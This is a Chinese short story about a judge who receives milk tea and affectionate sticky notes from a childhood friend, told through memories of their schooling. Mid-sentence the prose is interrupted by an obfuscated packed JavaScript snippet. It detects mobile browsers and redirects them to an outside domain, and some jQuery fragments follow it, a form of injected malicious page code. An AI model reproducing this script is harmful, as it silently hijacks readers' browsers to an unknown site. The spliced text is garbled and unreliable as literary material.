正午的阳光正烈得像要在地上烧出个洞来。A市中级法院的走廊里，空气稠得与盒饭的油腻在其中缠绵，酿出一种属于工作日正午的、混杂着疲惫与烟火气的味道。走廊尽头的窗户敞着道缝，热风卷着楼下槐树叶的气息涌进来，却吹不散这股固执的味道，只让法袍上的铜扣更烫了些。
林洛筠刚刚结束一场持续三小时的庭审，脊梁骨像被抽去了筋，每走一步都带着轻微的滞涩。办公室的门虚掩着，她推门时金属合页发出“吱呀”一声轻响，像在叹息。将法袍脱下搭在椅背上，她摘下胸前的法徽，那枚铜质的徽章被体温焐得温热，放在办公桌的玻璃台面上时，发出“嗒”的一声轻响。金属边缘折射的阳光在卷宗堆上跳了跳，那堆卷宗垒得半尺高，牛皮纸封面被阳光晒得发脆，卷宗脊上的标签都有些发黄，忽然被一阵轻快的脚步声截住——那声音是小跑着过来的，带着年轻人特有的雀跃，在走廊里荡出一串回声。
“林法官，这是您的外卖。”书记员抱着个奶茶袋站在门口，她穿着法院统一的浅蓝色制服。怀里的奶茶袋鼓鼓囊囊，塑料杯身透过袋子，传来丝丝凉意，像块冰在发烫的皮肤上化开一片清爽。
“备注说要常温的伯牙绝弦，七分糖，是霸王茶姬的。”小陈说话时眼睛亮晶晶的，眼角还带着笑，显然是觉得这杯奶茶里藏着什么趣事。
林洛筠的指尖正停在庭审记录的第三十五页，圆珠笔尖在纸页上留下个浅淡的墨点。那是份打印好的记录，上面有她用红笔圈改的痕迹，某个当事人的名字旁边批注着“核实身份信息”。听到声音，她抬头，道谢道，
“麻烦你了。”林洛筠起身，接过奶茶时，指尖先触到的是蓝色的袋子，那纸袋上面印着红色的的品牌名。撕开塑封的瞬间，清冽的茉莉香“呼”地漫出来，不是那种浓得呛人的香，而是像刚从枝头摘下的茉莉花，带着露水的清甜，丝丝缕缕地钻进鼻腔。
办公室里的老空调正发出萧条的运转声，铁皮外壳上积着层薄灰，风叶转动时带着灰尘的气息，两种味道在空气中相遇，奇异地酿成一种熟悉的气息——像极了萧秋书房里的味道，她总爱在书桌上摆个白瓷瓶，插着新鲜的茉莉花，旁边放着用旧了的铁皮笔筒，阳光照进来时，空气里就是这样的味道。
杯身贴着张鹅黄色便利贴，是萧秋惯用的那种。纸是厚实的棉纸，颜色不是刺眼的亮黄，而是像被阳光晒旧的鹅毛。上面的字迹清瘦，却透着股韧劲，横画起笔时总爱顿一下，竖画收笔时又轻轻往上挑，像她说话时扬起的眉梢，带着点藏不住的俏皮。
“刚看了庭审直播，能量补给请签收，阿锦留。”末尾那个“留”字的最后一笔，像条小尾巴似的翘起来，林洛筠几乎能想象出萧秋写这个字时，嘴角肯定也跟着往上扬。
林洛筠对着便签笑起来时，后槽牙还残留着上午庭审时咬紧的酸胀。那时被告律师突然翻供，语气激愤得几乎要拍桌子，她握着法槌的手紧了紧，后槽牙不自觉地咬在一起，直到敲下法槌让法庭肃静，才觉出下颌的僵硬。她抽出吸管，透明的塑料吸管在阳光下泛着水光，刺破塑封时发出“噗”的一声轻响，像气泡破裂。绿茶的微苦先在舌尖炸开，带着点草木的涩，随即被鲜奶的醇厚包裹，两种味道在口腔里缠绵，最后漫上来的是淡淡的回甘，像雨后青草的气息。回甘漫上来的瞬间，办公室窗外的槐树忽然抖落一阵蝉鸣，那声音密密麻麻的，像把碎珠子撒在热锅里，滚得满世界都是。
十年前，在A市的某一处辅导班自习室，也是这样的蝉鸣天。那天的阳光比今天还要烈，透过高大的玻璃窗，自习室里很静，只有笔尖划过纸页的沙沙声。萧秋穿着件白色的T恤。她把冰镇的茉香奶绿从书包里掏出来，塑料瓶壁凝结的水珠顺着瓶身往下淌。
“洛筠，等以后咱们以后有正经工作了，我天天给你点奶茶喝。”她说话时眼睛亮闪闪的。那时她们刚结束中考，面前摊着本厚厚的预习资料，林洛筠指着物理学案皱眉，萧秋却忽然抢过学案，争论着“为什么要天天学受力高空抛物”。
现在，萧秋果然没有食言。
自从上个月文联因为装修，暂时搬入法院隔壁的文化大厦，林洛筠的办公桌隔三差五就会出现霸王茶姬的袋子。有时是清晨刚上班，露水还挂在窗台上的绿萝叶上，奶茶袋就躺在桌角上，带着清晨的微凉；有时是深夜加班的间隙，整栋办公楼都浸在寂静里，只有她办公室的灯还亮着，这时外卖员的敲门声就会准时响起，奶茶是温热的，捧在手里能暖到心里。便利贴上的内容总带着点不合时宜的活泼——“书记员的腮红颜色很清新很青春，像院里那株刚开的海棠”“今天审理的合同纠纷案，甲方律师的西装袖口磨破了，露出里面起球的秋衣边”“看到你庭上敲法槌的样子，突然想写篇法官题材的散文，题目就叫《法槌》”。那些字迹有时带着点潦草，大概是忙里偷闲写的，笔画都挤在一起，像群挤着看热闹的麻雀。
林洛筠转动着奶茶杯，便利贴右下角有个小小的墨点，圆圆的，像颗被遗忘的芝麻。她认得那是萧秋思考时总爱用指尖蘸墨水留下的痕迹，大学时在文学社的稿纸上，这个墨点曾出现在无数诗歌的末尾。有次萧秋写一首关于雨的诗，改了七遍，最后在定稿的右下角留下这样一个墨点，她说：“这样才像雨滴落在纸上嘛。”那时她听萧秋说，文学社的活动室在青海大学老教学楼的顶楼，窗外有棵老槐树，风吹过时，槐花香混着墨水味，漫得满室都是。
走廊里传来保洁车轱辘的滚动声，“咕噜咕噜”的，带着点颠簸，像是碾过了什么小石子。紧接着是几个年轻书记员讨论外卖的笑闹，声音清脆得像风铃——是小钱和小李，她们总是凑在一起讨论哪家的麻辣烫加麻加辣最够味。林洛筠把便利贴小心地揭下来，指尖捏着纸的边缘，怕指甲刮到字迹。她拉开桌角那本《民事诉讼法》，书脊已经被翻得有些松动，露出里面泛黄的纸页。翻到第三百七十六页，这一页讲的是执行异议的处理，页边空白处有她用蓝笔做的批注。这一页里，刚好夹着去年萧秋送的另一张便利贴，上面写着“霜降宜喝热饮”，字迹被阳光晒得有些褪色，像片干枯的叶子。两张便签并排躺着，新的那张颜色鲜亮，旧的那张带着时光的温润。
窗外的蝉鸣还在继续，阳光透过梧桐树的叶子。林洛筠喝了口奶茶，茉莉香在舌尖久久不散，她忽然觉得，这寻常的正午，因为这杯奶茶，因为这张便签，变得像首被阳光晒得暖暖的诗。
"洛筠，你看到便签了？"消息后面跟着个歪头笑的表情。
林洛筠的指尖在屏幕上顿了顿，原本想回"看到了，谢谢"，但想了想，又补了句："你的眼线笔该换了，直播镜头里看有点晕。"她记得早上开庭前瞥了眼文联官网的直播预告，萧秋作为评审会的主持人，会出现在开场镜头里。那时屏幕上的萧秋正低头整理文件，眼角的眼线确实晕了点。
萧秋那边，无疑几乎是秒回，消息带着个捧着肚子大笑的表情："哈哈哈哈哈哈被你发现了！早上急着出门拿错了眼线胶笔，等下评审会结束就去买个新的。"后面还跟了个吐舌头的表情，活脱脱是她平时调皮的样子。
林洛筠看着屏幕笑起来，后槽牙的酸胀似乎都减轻了些。她想象着萧秋此刻的样子——大概正坐在文联会议室的长桌旁，面前摊着书画家的简历，照片上的艺术家们有的留着长胡子，有的戴着圆框眼镜，个个都带着股儒雅的气质。萧秋穿着她常穿的那件白色衬衫，右手握着那支磨出茧的钢笔，笔尖悬在笔记本上，左手却在桌下飞快地打字，手机屏幕大概就藏在桌布下面，像一个偷玩手机的学生。她开会时总爱这样，看似认真听着发言，其实早就把重点在笔记本上记成了顺口溜——上次文联换届选举，林洛筠偶然看到她的会议记录，上面写着"蒋文杉主席发言的三要点：团结、创新、抓落实，像首三句半"，后面还画了个简笔画的小人，举着个牌子，上面写着"说得对"。更逗的是，记录末尾还夹着首打油诗："投票箱像块方蛋糕，大家来把甜果挑，选完主任选委员，民主热闹！"那时萧秋把笔记本往她面前一推，眼睛亮晶晶的："你看，开会也能开出诗意。"
走廊里的挂钟敲了十二下，"咚——"，沉闷的声响从走廊尽头传过来，那钟声很老了，是法院建院时就有的，声音里总带着点岁月的沙哑，却异常准时，每天十二点、六点都会准时响起，像位恪尽职守的老人。林洛筠把奶茶杯往卷宗旁挪了挪，杯底的阴影刚好盖住原告签名处那个潦草的涂改液痕迹——那痕迹是白色的，涂得太厚，边缘都翘了起来，像块没贴牢的膏药。看到这，她忽然想起十年前的萧秋，她们在同一个辅导班里，萧秋总爱在作文本上改错别字，不用修正液，偏要用修正带，涂出一个个方方正正的小方块，然后在上面画朵歪歪扭扭的小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051578|179046||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雏菊，花瓣总是缺斤少两，花心却点得格外认真，像颗饱满的金豆。有次语文老师在她的作文本上批了"小雏菊很可爱"，萧秋乐得一整晚都在给林洛筠的错题本上画雏菊，画得作业本像个小花园。
"林法官，孙庭长让您过去一趟。"书记员抱着一摞文件经过门口，浅蓝色的制服被汗水浸得有些发深。她怀里的文件堆得很高，几乎挡住了半张脸，只有声音从文件后面钻出来，带着点气喘吁吁的味道。脚步带起的风让桌上的便签纸轻轻掀动，边角颤了颤，像蝴蝶要飞起来。"好像是关于上午那个合同案的补充材料。"
林洛筠起身时，椅腿在地面上划出"吱呀"一声尖锐的声响，像根被拉紧的弦突然崩断。她顺手拿起放在桌角的法徽，那枚铜质的徽章被阳光晒得滚烫，贴在掌心像块小烙铁。她把法徽别回胸前，金属的凉意透过衬衫渗进来。
经过立案大厅时，阳光正透过高大的玻璃穹顶倾泻而下，在地面拼出巨大的光斑。几个当事人正围着咨询台争论，声音像被煮沸的水般翻滚，
"我这案子明明是他违约的！"
"你胡说！合同上写得清清楚楚！"愤怒的腔调撞在地面上，弹回来，又撞向玻璃穹顶，震得人耳朵发疼。林洛筠的目光掠过那片光斑，忽然想起萧秋写过的句子："阳光是最公正的法官，它从不漏掉任何一粒尘埃。"那是去年冬天，萧秋去乡下采风，回来后写了篇散文，发表在市报的副刊上。她用那笔稿费请林洛筠吃了碗加双蛋的牛肉面，热气腾腾的汤碗里，两颗荷包蛋浮在上面，像两轮小小的太阳。萧秋边吃面边说："你看，文字和法律一样，都得讲良心。"
孙庭长的办公室里飘着浓茶味，是那种最普通的龙井茶，带着股淡淡的香气，混着空气中的烟味，形成一种独特的味道——那是属于老法官的味道，厚重，带着点岁月的沉淀。烟灰缸里堆满了烟蒂，白色的过滤嘴挤在一起，缸底积着浅褐色的烟油，泛着油腻的光。老法官坐在宽大的皮椅上，背脊有些佝偻，头发已经花白，却梳得整整齐齐。他指着卷宗上的批注说："这个违约金计算方式有问题，你下午再核实下。"他说话时，指尖在纸上戳出轻微的凹陷，那根食指的关节有些变形，大概是常年握笔、敲法槌留下的痕迹。林洛筠注意到他的指甲缝里嵌着墨渍，黑色的，像某种洗不掉的勋章——她知道，这墨渍里藏着的无数个伏案工作的夜晚。
"好的。"她接过卷宗时，听见自己的声音还带着点奶茶的甜意，像刚含过块糖。走廊里的风从半开的窗户钻进来，带着外面槐树的气息，吹动墙上悬挂的天平挂画。那幅画是金属做的，天平的两端挂着小小的砝码，风一吹就轻轻摇晃，金属链条碰撞的轻响里，她仿佛又听见萧秋的笑声——那笑声是清亮的，像风铃被风吹动，带着点孩子气的雀跃。
回到办公室时，那杯伯牙绝弦已经温凉了。林洛筠把它凑近鼻尖，茉莉香淡了些，不再是刚开封时那种清冽的甜，而是沉淀下来的温润，奶味却更醇厚，像熬了很久的米汤，稠稠的，裹着暖意。她拉开办公桌最下面的抽屉，里面铺着块深蓝色的绒布，整齐码着十几张鹅黄色便签，像列队的士兵。每张便签上的字迹都不一样，有的潦草，有的工整，有的带着点俏皮的涂鸦，但无一例外，都透着萧秋的气息。最新的那张被小心地放在最上面，右下角的墨点在阳光下微微发亮，像颗藏在纸页里的星。
手机又响了一声，是萧秋发来的照片。屏幕亮起时，林洛筠看到画面里是文联会议室的窗台，有一盆绿萝放在那里，叶片绿得发亮，像被雨水洗过，叶脉清晰得能数出纹路。几片叶子伸得很长，朝着窗外的方向，仿佛要抓住什么。窗玻璃映出法院钟楼的轮廓，钟摆指针刚好指向一点，秒针正在缓缓移动。配文只有两个字："等着你。"
林洛筠看着照片笑起来。她拿起笔，在庭审记录上签下自己的名字，笔尖划过纸页的声音，和十年前辅导班自习室里的笔尖声重叠在一起——那时萧秋正在旁边改诗，笔尖划过稿纸，也是这样的声音，清浅，却带着股执拗的力量。
窗外的蝉鸣不知何时停了，梧桐树的叶子在阳光下绿得发亮，叶片舒展着，像无数只摊开的手掌，捧着满掌的阳光。
她把那杯喝剩的奶茶收好，便利贴被抚平了边角，夹进下一页卷宗。纸页翻动的瞬间，她仿佛听见时光流淌的声音，像杯永远喝不完的伯牙绝弦。